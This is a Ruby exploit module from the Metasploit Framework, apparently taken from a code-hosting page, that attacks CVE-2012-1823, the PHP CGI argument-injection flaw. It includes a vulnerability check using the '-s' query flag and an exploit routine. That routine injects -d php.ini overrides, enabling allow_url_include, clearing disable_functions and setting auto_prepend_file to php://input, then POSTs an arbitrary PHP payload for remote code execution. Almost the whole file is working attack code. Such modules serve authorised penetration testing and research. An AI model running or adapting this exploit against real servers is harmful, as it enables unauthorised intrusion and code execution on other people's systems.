128 lines
3.7 KiB
Ruby
128 lines
3.7 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'PHP CGI Argument Injection',
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'Description' => %q{
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When run as a CGI, PHP up to version 5.3.12 and 5.4.2 is vulnerable to
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an argument injection vulnerability. This module takes advantage of
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the -d flag to set php.ini directives to achieve code execution.
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From the advisory: "if there is NO unescaped '=' in the query string,
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the string is split on '+' (encoded space) characters, urldecoded,
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passed to a function that escapes shell metacharacters (the "encoded in
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a system-defined manner" from the RFC) and then passes them to the CGI
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binary."
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},
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'Author' => [ 'egypt', 'hdm' ],
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'License' => MSF_LICENSE,
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'Version' => '$Revision$',
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'References' => [
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[ "CVE" , "2012-1823" ],
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[ "URL" , "http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/" ],
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],
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'Privileged' => false,
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'Payload' =>
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{
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'DisableNops' => true,
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# Arbitrary big number. The payload gets sent as an HTTP
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# response body, so really it's unlimited
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'Space' => 262144, # 256k
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},
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'DisclosureDate' => 'May 03 2012',
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'Platform' => 'php',
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'Arch' => ARCH_PHP,
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'Targets' => [[ 'Automatic', { }]],
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'DefaultTarget' => 0))
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register_options([
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OptString.new('TARGETURI', [false, "The URI to request (must be a CGI-handled PHP script)"]),
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], self.class)
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end
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# php-cgi -h
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# ...
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# -s Display colour syntax highlighted source.
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def check
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uri = target_uri.path
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uri.gsub!(/\?.*/, "")
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print_status("Checking uri #{uri}")
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response = send_request_raw({ 'uri' => uri })
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if response and response.code == 200 and response.body =~ /\<code\>\<span style.*\<\;\?/mi
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print_error("Server responded in a way that was ambiguous, could not determine whether it was vulnerable")
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return Exploit::CheckCode::Unknown
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end
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response = send_request_raw({ 'uri' => uri + '?-s'})
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if response and response.code == 200 and response.body =~ /\<code\>\<span style.*\<\;\?/mi
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return Exploit::CheckCode::Vulnerable
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end
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print_error("Server responded indicating it was not vulnerable")
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return Exploit::CheckCode::Safe
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end
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def exploit
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begin
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args = [
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"-d+allow_url_include%3d#{rand_php_ini_true}",
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"-d+safe_mode%3d#{rand_php_ini_false}",
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"-d+suhosin.simulation%3d#{rand_php_ini_true}",
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"-d+disable_functions%3d%22%22",
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"-d+open_basedir%3dnone",
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"-d+auto_prepend_file%3dphp://input",
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"-n"
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]
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qs = args.join("+")
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uri = "#{target_uri}?#{qs}"
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# Has to be all on one line, so gsub out the comments and the newlines
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payload_oneline = "<?php " + payload.encoded.gsub(/\s*#.*$/, "").gsub("\n", "")
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response = send_request_cgi( {
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'method' => "POST",
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'global' => true,
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'uri' => uri,
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'data' => payload_oneline,
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}, 0.5)
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handler
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rescue ::Interrupt
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raise $!
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rescue ::Rex::HostUnreachable, ::Rex::ConnectionRefused
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print_error("The target service unreachable")
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rescue ::OpenSSL::SSL::SSLError
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print_error("The target failed to negotiate SSL, is this really an SSL service?")
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end
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end
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def rand_php_ini_false
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Rex::Text.to_rand_case([ "0", "off", "false" ][rand(3)])
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end
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def rand_php_ini_true
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Rex::Text.to_rand_case([ "1", "on", "true" ][rand(3)])
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end
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end
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